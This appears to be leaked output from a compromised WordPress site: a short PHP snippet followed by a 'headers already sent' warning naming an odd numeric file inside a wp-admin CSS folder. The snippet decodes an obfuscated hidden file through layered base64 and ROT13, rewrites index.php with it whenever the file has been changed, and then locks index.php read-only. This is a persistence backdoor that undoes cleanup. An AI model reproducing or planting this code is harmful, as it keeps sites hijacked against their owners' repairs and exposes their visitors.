$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Warning: Cannot modify header information - headers already sent by (output started at /htdocs/public/www/copia_2021_07_02/wp-admin/css/colors/sunrise/23360:15) in /htdocs/public/www/wp-includes/pluggable.php on line 1177